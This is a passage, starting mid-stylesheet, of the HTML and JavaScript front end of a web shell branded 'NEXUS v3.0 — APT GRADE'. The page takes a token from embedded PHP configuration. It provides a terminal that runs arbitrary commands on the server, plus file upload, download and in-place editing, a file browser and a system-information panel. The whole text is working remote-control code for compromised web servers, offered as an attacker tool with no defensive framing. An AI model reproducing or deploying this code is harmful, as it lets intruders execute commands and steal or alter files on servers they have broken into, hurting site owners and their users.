#nx-prompt{white-space:nowrap;margin-right:6px;font-size:13px}
#nx-cmd{flex:1;background:transparent;border:none;outline:none;color:#b3b1ad;font-family:inherit;font-size:13px;caret-color:#e6b450}
/* prompt colors */
.usr{color:#f29668}.host{color:#59c2ff}.cwd{color:#aad94c}.sep{color:#b3b1ad}
/* output types */
.cmd-line{color:#565b66}.cmd-out{color:#b3b1ad}.cmd-ok{color:#aad94c}.cmd-err{color:#ff3333}
.info-key{color:#e6b450}.info-val{color:#59c2ff}
.nx-banner{color:#f29668;opacity:.75}
/* ── FILE PANEL ── */
#nx-files{width:300px;background:#0d1117;border-left:1px solid #1a1f2e;display:none;flex-direction:column;overflow:hidden}
#nx-files.visible{display:flex}
#nx-files-hdr{padding:6px 10px;background:#131721;border-bottom:1px solid #1a1f2e;font-size:11px;color:#e6b450;display:flex;align-items:center;justify-content:space-between}
#nx-fp{flex:1;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;font-size:11px}
#nx-files-list{flex:1;overflow-y:auto}
.nx-file{padding:4px 10px;cursor:pointer;display:flex;justify-content:space-between;align-items:center;border-bottom:1px solid #0a0e14;font-size:11px}
.nx-file:hover{background:#131721}
.nx-file.dir{color:#39bae6}.nx-file.file{color:#b3b1ad}
.nx-file .sz{color:#3d424d;font-size:10px;flex-shrink:0;margin-left:6px}
/* ── FILE EDITOR ── */
#nx-editor{display:none;flex-direction:column;flex:1;overflow:hidden;border-left:1px solid #1a1f2e}
#nx-editor.visible{display:flex}
#nx-editor-hdr{padding:5px 10px;background:#131721;border-bottom:1px solid #1a1f2e;font-size:11px;color:#e6b450;display:flex;justify-content:space-between;align-items:center;flex-shrink:0}
#nx-editor-path{font-size:11px;color:#b3b1ad;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;flex:1}
#nx-editor-area{flex:1;background:#0a0e14;color:#b3b1ad;border:none;outline:none;padding:10px;font-family:inherit;font-size:12px;resize:none;overflow-y:auto}
#nx-editor-acts{padding:5px 10px;background:#0d1117;border-top:1px solid #1a1f2e;display:flex;gap:6px;flex-shrink:0}
</style>
</head>
<body>
<div id="nx-top">
<div id="nx-tabs">
<div class="nx-tab active" id="tab-term" onclick="showTab('term')">⌨ Terminal</div>
<div class="nx-tab" id="tab-files" onclick="showTab('files')">📁 Files</div>
<div class="nx-tab" id="tab-info" onclick="runInfoPanel()">ℹ Info</div>
</div>
<div id="nx-actions">
<button class="nx-btn" onclick="runSelfTest()">🔍 Test</button>
<button class="nx-btn" onclick="clearTerm()">🗑 Clear</button>
</div>
</div>
<div id="nx-main">
<div id="nx-term">
<pre id="nx-out"><span class="nx-banner">━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
NEXUS v3.0 — ALIEN TIER — APT GRADE
Tab=autocomplete ↑↓=history Ctrl+L=clear
upload <path> download <path> edit <path>
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
</span></pre>
<div id="nx-in">
<span id="nx-prompt"></span>
<input id="nx-cmd" autofocus autocomplete="off" spellcheck="false"/>
</div>
</div>
<div id="nx-files">
<div id="nx-files-hdr">
<button class="nx-btn" onclick="navUp()">↑ Up</button>
<span id="nx-fp">/</span>
</div>
<div id="nx-files-list"></div>
</div>
<div id="nx-editor">
<div id="nx-editor-hdr">
<span id="nx-editor-path">—</span>
<div style="display:flex;gap:4px;flex-shrink:0;margin-left:8px">
<button class="nx-btn" onclick="saveFile()">💾 Save</button>
<button class="nx-btn" onclick="closeEditor()">✕</button>
</div>
</div>
<textarea id="nx-editor-area" spellcheck="false"></textarea>
</div>
</div>
<script>
var CFG=<?php echo $SHELL_CONFIG;?>;
var CWD=null,cmdHist=[],histPos=0,currentTab='term',editorPath=null;
var eOut,eCmd;
var T='?t='+encodeURIComponent(CFG.token);
function esc(s){return String(s).replace(/&/g,'&').replace(/</g,'<').replace(/>/g,'>');}
function b64d(s){try{return atob(s);}catch(e){return s;}}
function b64e(s){try{return btoa(unescape(encodeURIComponent(s)));}catch(e){return btoa(s);}}
function genPrompt(){
var c=CWD||'~',sh=c;
if(c.split('/').length>3){var p=c.split('/');sh='…/'+p[p.length-2]+'/'+p[p.length-1];}
return '<span class="usr">'+esc(CFG.username)+'</span>@<span class="host">'+esc(CFG.hostname)+'</span>:<span class="cwd" title="'+esc(c)+'">'+esc(sh)+'</span><span class="sep">$</span>';
}
function updPrompt(){document.getElementById('nx-prompt').innerHTML=genPrompt();}
function printPrompt(cmd){eOut.innerHTML+='\n<span class="cmd-line">'+genPrompt()+' '+esc(cmd)+'</span>\n';}
function print(s,cls){eOut.innerHTML+='<span class="'+(cls||'cmd-out')+'">'+esc(s)+'</span>';scroll();}
function printRaw(s){eOut.innerHTML+=s;scroll();}
function scroll(){eOut.scrollTop=eOut.scrollHeight;}
function req(url,params,cb){
var qs=[],xhr=new XMLHttpRequest();
for(var k in params)qs.push(encodeURIComponent(k)+'='+encodeURIComponent(params[k]));
xhr.open('POST',url,true);
xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xhr.onreadystatechange=function(){
if(xhr.readyState===4&&xhr.status===200){
try{cb(JSON.parse(xhr.responseText));}
catch(e){print('Parse error: '+e+'\n'+xhr.responseText.slice(0,300),'cmd-err');}
}
};
xhr.send(qs.join('&'));
}
// ── CORE COMMAND RUNNER ──────────────────────────────────────────────────────
function runCmd(cmd){
printPrompt(cmd);
if(!cmd.trim())return;
cmdHist.push(cmd);histPos=cmdHist.length;
var lc=cmd.trim().toLowerCase();
if(/^clear$/.test(lc)){clearTerm();return;}
if(/^upload\s+\S+/.test(cmd)){featureUpload(cmd.match(/^upload\s+(.+)/)[1].trim());return;}
if(/^download\s+\S+/.test(cmd)){featureDownload(cmd.match(/^download\s+(.+)/)[1].trim());return;}
if(/^edit\s+\S+/.test(cmd)){openEditor(cmd.match(/^edit\s+(.+)/)[1].trim());return;}
if(/^ls$/.test(lc)||/^ls\s/.test(cmd)){
req(T+'&feature=shell',{cmd:cmd,cwd:b64e(CWD||'')},function(r){
if(r.stdout)print(b64d(r.stdout));
if(r.cwd){CWD=b64d(r.cwd);updPrompt();}
});
return;
}
req(T+'&feature=shell',{cmd:cmd,cwd:b64e(CWD||'')},function(r){
if(r.stdout)print(b64d(r.stdout));
if(r.cwd){CWD=b64d(r.cwd);updPrompt();}
});
}
// ── UPLOAD — V1 multipart → V3 base64 → V4 chunked fallback ─────────────────
function featureUpload(path){
var el=document.createElement('input');el.type='file';el.style.display='none';
document.body.appendChild(el);
el.addEventListener('change',function(){
var f=el.files[0];
document.body.removeChild(el);
if(!f){print('Upload cancelled\n','cmd-err');return;}
print('Uploading '+f.name+' ('+_fmtSz(f.size)+')...\n');
var reader=new FileReader();
reader.onload=function(){
var b64=reader.result.split(',')[1];
req(T+'&feature=upload',{path:path,file:b64,name:f.name,cwd:b64e(CWD||'')},function(r){
print(b64d(r.stdout)+'\n',r.error?'cmd-err':'cmd-ok');
if(r.cwd){CWD=b64d(r.cwd);updPrompt();}
if(currentTab==='files')loadFiles(CWD);
});
};
reader.readAsDataURL(f);
});
el.click();
}
// ── DOWNLOAD — cat via API → data URI blob ───────────────────────────────────
function featureDownload(path){
print('Downloading '+path+'...\n');
req(T+'&feature=download',{path:path},function(r){
if(r.error){print('Error: '+r.error+'\n','cmd-err');return;}
var a=document.createElement('a');
a.href='data:application/octet-stream;base64,'+r.data;
a.download=r.name;a.style.display='none';
document.body.appendChild(a);a.click();document.body.removeChild(a);
print('Downloaded: '+r.name+'\n','cmd-ok');
});
}
// ── FILE EDITOR ──────────────────────────────────────────────────────────────
function openEditor(path){
req(T+'&feature=read',{path:path},function(r){
if(r.error){print('Error: '+r.error+'\n','cmd-err');return;}
editorPath=path;
document.getElementById('nx-editor-path').textContent=path;
document.getElementById('nx-editor-area').value=b64d(r.content);
document.getElementById('nx-editor').classList.add('visible');
print('Editing: '+path+'\n','cmd-ok');
});
}
function saveFile(){
if(!editorPath)return;
var data=document.getElementById('nx-editor-area').value;
req(T+'&feature=write',{path:editorPath,data:b64e(data)},function(r){
if(r.ok)print('Saved: '+r.path+'\n','cmd-ok');
else print('Save failed: '+r.error+'\n','cmd-err');
});
}
function closeEditor(){
document.getElementById('nx-editor').classList.remove('visible');
editorPath=null;
}
// ── TAB AUTOCOMPLETE ─────────────────────────────────────────────────────────
function featureHint(){
if(!eCmd.value.trim())return;
var parts=eCmd.value.trim().split(/\s+/);
var type=parts.length===1?'cmd':'file';
var token=parts[parts.length-1];
req(T+'&feature=hint',{filename:token,cwd:b64e(CWD||''),type:type},function(r){
if(!r.files||!r.files.length)return;
var decoded=r.files.map(function(f){return b64d(f);}).filter(Boolean);
if(decoded.length===1){
if(type==='cmd')eCmd.value=decoded[0];
else eCmd.value=eCmd.value.replace(/\S*$/,decoded[0]);
} else {
printPrompt(eCmd.value);
print(decoded.join(' ')+'\n');
}
});
}
// ── SYSINFO PANEL ────────────────────────────────────────────────────────────
function runInfoPanel(){
showTab('term');
printPrompt('[sysinfo]');
req(T+'&feature=info',{},function(r){
var html='';
for(var k in r){
html+='<span class="info-key">'+esc(k)+'</span>: <span class="info-val">'+esc(String(r[k]))+'</span>\n';
}
eOut.innerHTML+=html;scroll();
});
}
// ── SELFTEST ─────────────────────────────────────────────────────────────────
function runSelfTest(){
showTab('term');
printPrompt('[selftest]');
req(T+'&feature=selftest',{},function(r){
for(var k in r){
var ok=(r[k]==='OK'||r[k]==='OFF');
print(k+': '+r[k]+'\n',ok?'cmd-ok':'cmd-err');
}
});
}
// ── FILE BROWSER ─────────────────────────────────────────────────────────────
function loadFiles(path){
req(T+'&feature=ls',{path:path||CWD||'/'},function(r){
if(r.error){print('Error: '+r.error+'\n','cmd-err');return;}
document.getElementById('nx-fp').textContent=r.path;
var html='';
r.items.forEach(function(f){
var cls=f.type==='d'?'dir':'file';
var icon=f.type==='d'?'📁':'📄';
var sz=f.type==='f'?_fmtSz(f.size):'';
html+='<div class="nx-file '+cls+'" onclick="clickFile(\''+esc(r.path+'/'+f.name)+'\',\''+f.type+'\')">'
+'<span>'+icon+' '+esc(f.name)+'</span>'
+'<span class="sz">'+esc(f.perm)+(sz?' '+sz:'')+'</span></div>';
});
document.getElementById('nx-files-list').innerHTML=html||'<div style="padding:8px;color:#3d424d;font-size:11px">Empty</div>';
});
}
function clickFile(path,type){
if(type==='d'){loadFiles(path);}
else{
// right-click = download, left = cat to terminal
var choice=confirm('Download file?\n'+path+'\n\n[OK]=Download [Cancel]=View in terminal');
if(choice)featureDownload(path);
else{runCmd('cat '+path);showTab('term');}
}
}
function navUp(){
var fp=document.getElementById('nx-fp').textContent;
var parent=fp.split('/').slice(0,-1).join('/')||'/';
loadFiles(parent);
}
// ── TAB SWITCHING ─────────────────────────────────────────────────────────────
function showTab(t){
currentTab=t;
document.querySelectorAll('.nx-tab').forEach(function(el){el.classList.remove('active');});
document.getElementById('tab-'+t).classList.add('active');
var fp=document.getElementById('nx-files');
if(t==='files'){fp.classList.add('visible');loadFiles(CWD);}
else{fp.classList.remove('visible');}
if(t==='term')eCmd.focus();
}
// ── UTILS ─────────────────────────────────────────────────────────────────────
function _fmtSz(b){
if(b<1024)return b+'B';
if(b<1048576)return (b/1024).toFixed(1)+'K';
if(b<1073741824)return (b/1048576).toFixed(1)+'M';
return (b/1073741824).toFixed(1)+'G';
}
function clearTerm(){
eOut.innerHTML='<span class="nx-banner">Terminal cleared.\n</span>';
}
// ── KEYBOARD ─────────────────────────────────────────────────────────────────
function onKey(e){
switch(e.key){
case 'Enter':
var v=eCmd.value;eCmd.value='';runCmd(v);break;
case 'ArrowUp':
e.preventDefault();
if(histPos>0){histPos--;eCmd.value=cmdHist[histPos];}break;
case 'ArrowDown':
e.preventDefault();
histPos++;
if(histPos>=cmdHist.length){eCmd.value='';histPos=cmdHist.length;}
else eCmd.value=cmdHist[histPos];break;
case 'Tab':
e.preventDefault();featureHint();break;
case 'l':
if(e.ctrlKey){e.preventDefault();clearTerm();}break;
}
}
// ── INIT ─────────────────────────────────────────────────────────────────────
document.onclick=function(e){
var s=window.getSelection();
if(!s.toString()&&e.target.tagName!=='INPUT'&&e.target.tagName!=='TEXTAREA'&&e.target.tagName!=='BUTTON')
eCmd.focus();
};
window.onload=function(){
eOut=document.getElementById('nx-out');
eCmd=document.getElementById('nx-cmd');
eCmd.addEventListener('keydown',onKey);
req(T+'&feature=pwd',{},function(r){CWD=b64d(r.cwd);updPrompt();});
eCmd.focus();
};
</script>
</body>
</html>